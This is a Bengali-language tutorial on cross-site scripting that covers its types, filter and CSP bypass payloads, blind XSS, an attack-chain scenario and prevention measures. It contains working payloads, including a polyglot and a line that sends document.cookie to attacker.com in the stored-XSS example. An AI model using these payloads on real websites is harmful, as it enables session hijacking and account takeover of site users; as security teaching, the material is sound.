XSS Exploitation: ওয়েবপেজে জাভাস্ক্রিপ্ট ইনজেক্ট করে ব্যবহারকারীদের ব্রাউজার থেকে সেশন কুকিজ চুরি করার ক্রস-সাইট স্ক্রিপ্টিং বা XSS অ্যাটাক!

XSS আক্রমণকে তিনটি প্রধান ক্যাটাগরিতে শ্রেণীবদ্ধ করা হয়, প্রতিটির নিজস্ব বৈশিষ্ট্য এবং exploitation পদ্ধতি রয়েছে।

Reflected XSS (Non-Persistent) — এই ধরনের আক্রমণে ম্যালিশিয়াস স্ক্রিপ্ট URL parameter, form input বা HTTP header-এর মাধ্যমে অ্যাপ্লিকেশনে পাঠানো হয় এবং অ্যাপ্লিকেশন সেটিকে যাচাই ছাড়াই প্রতিক্রিয়া পৃষ্ঠায় প্রতিফলিত করে। আক্রমণকারীকে একটি ম্যালিশিয়াস লিঙ্ক ভিকটিমকে পাঠাতে হয় (সাধারণত phishing-এর মাধ্যমে), এবং যখন ভিকটিম লিঙ্কে ক্লিক করে, স্ক্রিপ্ট তার ব্রাউজারে কার্যকর হয়।

একটি সাধারণ উদাহরণ:

https://vulnerable.com/search?q=<script>alert(document.cookie)</script>

Stored XSS (Persistent) — এই সবচেয়ে বিপজ্জনক ধরন। ম্যালিশিয়াস পেলোড সার্ভারের ডাটাবেসে সংরক্ষিত হয় এবং প্রতিটি ভিজিটরের ব্রাউজারে চালিত হয় যারা প্রভাবিত পৃষ্ঠা দেখেন। ফোরাম পোস্ট, পণ্য পর্যালোচনা, এবং প্রোফাইল ক্ষেত্রগুলো সাধারণ লক্ষ্য। একটি একক Stored XSS দুর্বলতা হাজার হাজার ব্যবহারকারীকে প্রভাবিত করতে পারে।

DOM-Based XSS — এই আধুনিক ধরন সম্পূর্ণরূপে ক্লায়েন্ট-সাইডে ঘটে। সার্ভার কোনো প্রতিফলিত স্ক্রিপ্ট পাঠায় না; বরং ক্লায়েন্ট-সাইড জাভাস্ক্রিপ্ট অবিশ্বস্ত ডেটা গ্রহণ করে এবং সেটিকে অনিরাপদভাবে DOM-এ লেখে। সাধারণ source হলো location.hash, document.referrer, localStorage এবং postMessage। সাধারণ sink হলো innerHTML, document.write, eval, এবং setTimeout/setInterval যখন স্ট্রিং পাস করা হয়।

XSS-এর প্রকৃত শক্তি বুঝতে আক্রমণকারী কী কী করতে পারেন তা বিবেচনা করুন:

Session Hijacking — যদি কুকি HttpOnly ফ্ল্যাগ ছাড়া থাকে, document.cookie পড়ে ভিকটিমের সেশন আক্রমণকারীর সার্ভারে পাঠানো যায়। এটি সম্পূর্ণ অ্যাকাউন্ট takeover-এর দিকে নিয়ে যায়।

Credential Harvesting — পৃষ্ঠায় একটি জাল লগইন ফর্ম ইনজেক্ট করে ব্যবহারকারীর ক্রেডেনশিয়াল চুরি করা।

Keylogging — ভিকটিমের প্রতিটি keystroke ক্যাপচার করা।

Cryptocurrency Mining — ভিকটিমের CPU ব্যবহার করে cryptocurrency mine করা।

Defacement — পৃষ্ঠার চেহারা পরিবর্তন করা।

Worm Propagation — যদি Stored XSS একটি সামাজিক নেটওয়ার্কে থাকে, এটি স্ব-প্রতিলিপি করে এক ব্যবহারকারী থেকে অন্যজনে ছড়িয়ে পড়তে পারে। ২০০৫ সালের Samy worm এর ক্লাসিক উদাহরণ যা MySpace-এ মাত্র ২০ ঘণ্টায় ১ মিলিয়ন ব্যবহারকারীকে সংক্রমিত করেছিল।

BeEF (Browser Exploitation Framework) hooking — একবার XSS পাওয়া গেলে, BeEF-এর মাধ্যমে ভিকটিমের ব্রাউজার সম্পূর্ণরূপে নিয়ন্ত্রণে আনা যায় — webcam, microphone, browser tabs এবং আরও অনেক কিছু।

বাস্তব আক্রমণে সরল <script>alert(1)</script> খুব কমই কাজ করে। আধুনিক অ্যাপ্লিকেশনগুলোতে input filtering, WAF এবং Content Security Policy আছে। তাই attackers-দের সৃজনশীল পেলোড তৈরি করতে হয়।

কিছু সাধারণ বাইপাস কৌশল:

কেস ভিন্নতা: <ScRiPt>alert(1)</sCrIpT>

ইভেন্ট হ্যান্ডলার: <img src=x onerror=alert(1)>, <svg onload=alert(1)>

জাভাস্ক্রিপ্ট ইউআরআই: <a href="javascript:alert(1)">click</a>

ব্যাকটিক্স এবং টেমপ্লেট লিটারাল: <script>alert`1`</script>

HTML entity এনকোডিং: <a href="&#106;avascript:alert(1)">

DOM clobbering: HTML element-এর id বা name attribute দিয়ে JavaScript variables override করা।

Mutation XSS (mXSS): যখন HTML parser এবং sanitizer-এর মধ্যে মতবিরোধ থাকে। DOMPurify, Google Caja এবং অন্যান্য sanitizer-এ এধরনের bug পাওয়া গেছে।

পলিগ্লট পেলোড: এমন একটি স্ট্রিং যা একাধিক প্রসঙ্গে কাজ করে। বিখ্যাত Brutelogic পলিগ্লট:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Content Security Policy (CSP) হলো একটি শক্তিশালী ব্রাউজার-নেটিভ প্রতিরক্ষা যা কোন কোন source থেকে script লোড করা যায় এবং কোন inline script অনুমোদিত তা নিয়ন্ত্রণ করে।

একটি শক্তিশালী CSP দেখতে এমন হতে পারে:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xyz123'; object-src 'none'; base-uri 'none'

তবে গবেষণায় দেখা গেছে যে প্রায় ৯৪% deployed CSP-তে একটি বা একাধিক bypass আছে। সাধারণ bypass পদ্ধতি:

unsafe-inline — যদি CSP unsafe-inline অনুমোদন করে, ক্লাসিক inline scripts এখনও কাজ করে।

unsafe-eval — eval() অনুমোদিত হলে dynamically generated scripts চালানো যায়।

Wildcard বা CDN whitelist — যদি script-src https://cdn.example.com থাকে এবং সেই CDN-এ কোনো JSONP endpoint থাকে, attackers সেটি ব্যবহার করে script চালাতে পারে।

Allowed domains-এ open redirect — CSP-তে অনুমোদিত একটি ডোমেইনে যদি open redirect থাকে, attackers redirect chain ব্যবহার করে নিজেদের script লোড করতে পারে।

Strict-dynamic এবং nonce-based CSP — এগুলো সবচেয়ে শক্তিশালী CSP কনফিগারেশন, কিন্তু সঠিকভাবে বাস্তবায়ন করা চ্যালেঞ্জিং।

Blind XSS হলো একটি বিশেষ পরিস্থিতি যেখানে আক্রমণকারী জানেন না কোথায় তাদের পেলোড কার্যকর হবে। সাধারণত এটি ঘটে যখন ইনপুট একটি admin panel, internal dashboard, বা log viewer-এ প্রদর্শিত হয়।

XSS Hunter (এবং এর উত্তরসূরী xsshunter.trufflesecurity.com) এই ধরনের আক্রমণের জন্য বিশেষায়িত। আক্রমণকারী পেলোড স্থাপন করে এবং অপেক্ষা করেন; যখন কোনো admin সেই ইনপুট দেখেন, পেলোড একটি callback পাঠায় যেখানে আক্রমণকারী HTML উৎস, পৃষ্ঠার URL, ভিকটিমের IP এবং অন্যান্য তথ্য পান।

Blind XSS বিশেষভাবে বিপজ্জনক কারণ এটি প্রায়ই উচ্চ-privilege ব্যবহারকারীদের লক্ষ্য করে।

React, Vue এবং Angular-এর মতো আধুনিক জাভাস্ক্রিপ্ট ফ্রেমওয়ার্ক ডিফল্টভাবে XSS-এর বিরুদ্ধে কিছুটা প্রতিরক্ষা প্রদান করে। তারা স্বয়ংক্রিয়ভাবে output encode করে, যা inline script ইনজেকশন প্রতিরোধ করে।

কিন্তু এই প্রতিরক্ষা সম্পূর্ণ নয়। React-এ dangerouslySetInnerHTML ব্যবহার বা href attribute-এ অবিশ্বস্ত ডেটা পাস করলে XSS এখনও সম্ভব। Vue-এ v-html directive অনুরূপ ঝুঁকি বহন করে। Angular-এ [innerHTML] binding-এ ServiceModule-এর bypassSecurityTrust* ফাংশন এড়িয়ে চলতে হবে।

আরেকটি গুরুত্বপূর্ণ ক্ষেত্র হলো server-side rendering (SSR)। Next.js, Nuxt এবং অনুরূপ ফ্রেমওয়ার্কে server-side কোডে এবং client-side hydration-এর মধ্যে XSS-এর সুযোগ থাকতে পারে।

ধরা যাক একটি e-commerce সাইটে পণ্য পর্যালোচনায় XSS দুর্বলতা পাওয়া গেছে। সাধারণ পেলোড ফিল্টার করা হয়, কিন্তু গবেষক একটি পলিগ্লট ব্যবহার করে সফল হন।

প্রথমে তিনি document.cookie দিয়ে কুকি চেক করেন এবং দেখেন যে session cookie-তে HttpOnly নেই। তিনি একটি Stored XSS পেলোড স্থাপন করেন যা ভিজিটরের কুকি তার অ্যাটাকার-নিয়ন্ত্রিত সার্ভারে পাঠায়:

new Image().src='https://attacker.com/?c='+encodeURIComponent(document.cookie);

কয়েক ঘণ্টার মধ্যে শত শত সেশন কুকি সংগ্রহ হয়। তিনি একটি admin সেশন আইডেন্টিফাই করেন এবং সেটি ব্যবহার করে admin panel-এ লগইন করেন।

Admin panel-এ আরও একটি XSS পাওয়া যায় — এবার একটি customer note ক্ষেত্রে। তিনি দ্বিতীয় পেলোড স্থাপন করেন যা admins-এর জন্য তৈরি, যা CSRF টোকেন এক্সট্র্যাক্ট করে এবং একটি ম্যালিশিয়াস admin অ্যাকাউন্ট তৈরি করে।

এই chain উদাহরণে দেখা যায় কীভাবে XSS শুধু একটি সিঙ্গেল ভিকটিম প্রভাবিত করার চেয়ে অনেক বেশি কিছু সাধন করতে পারে।

XSS প্রতিরোধে বহুস্তরীয় পদ্ধতি অপরিহার্য:

Output Encoding — সমস্ত user-supplied ডেটা যথাযথভাবে context অনুযায়ী encode করুন। HTML context-এ HTML entity encoding, JavaScript context-এ JavaScript escaping, URL context-এ URL encoding।

Input Validation — Allow-list approach ব্যবহার করুন। প্রত্যাশিত format-এর সাথে মেলে এমন ইনপুট অনুমোদিত হোক, বাকি সব প্রত্যাখ্যান।

DOMPurify-এর মতো বিশ্বস্ত sanitization লাইব্রেরি ব্যবহার করুন HTML content গ্রহণ করার সময়। কখনো নিজের sanitizer লিখবেন না।

Content Security Policy স্থাপন করুন। strict-dynamic এবং nonce-based পদ্ধতি ব্যবহার করুন।

HttpOnly এবং Secure cookie flags ব্যবহার করুন সমস্ত session cookie-তে। SameSite=Strict বা Lax CSRF এবং কিছু XSS পরিণাম প্রতিরোধে সাহায্য করে।

Trusted Types API ব্যবহার করুন আধুনিক ব্রাউজারে। এটি DOM XSS-এর জন্য একটি শক্তিশালী প্রতিরক্ষা।

framework-এর built-in protection ব্যবহার করুন। React-এ dangerouslySetInnerHTML, Vue-এ v-html, Angular-এ bypassSecurityTrust* এড়িয়ে চলুন।

Subresource Integrity (SRI) ব্যবহার করুন তৃতীয় পক্ষের scripts-এর জন্য।

নিয়মিত penetration testing এবং automated scanning পরিচালনা করুন। OWASP ZAP, Burp Suite, এবং SAST সরঞ্জাম যেমন Semgrep সাহায্য করে।

Web Application Firewall (WAF) মোতায়েন করুন যা সাধারণ XSS pattern সনাক্ত করে। তবে WAF-কে একমাত্র প্রতিরক্ষা হিসেবে নির্ভর করবেন না।

ডেভেলপারদের নিরাপদ কোডিং প্রশিক্ষণ দিন। OWASP XSS Prevention Cheat Sheet একটি চমৎকার সম্পদ।

Trusted Types API আধুনিক ব্রাউজারে DOM XSS-এর বিরুদ্ধে একটি গেম-পরিবর্তনকারী প্রতিরক্ষা। এটি ডেভেলপারদের innerHTML এবং অনুরূপ sinks-এ শুধু "trusted" type assign করতে বাধ্য করে।

WebAssembly-ভিত্তিক sandboxing এবং অরিজিন isolation আরও সুরক্ষা যোগ করছে। Cross-Origin Embedder Policy (COEP) এবং Cross-Origin Opener Policy (COOP) cross-origin attack প্রতিরোধে সাহায্য করে।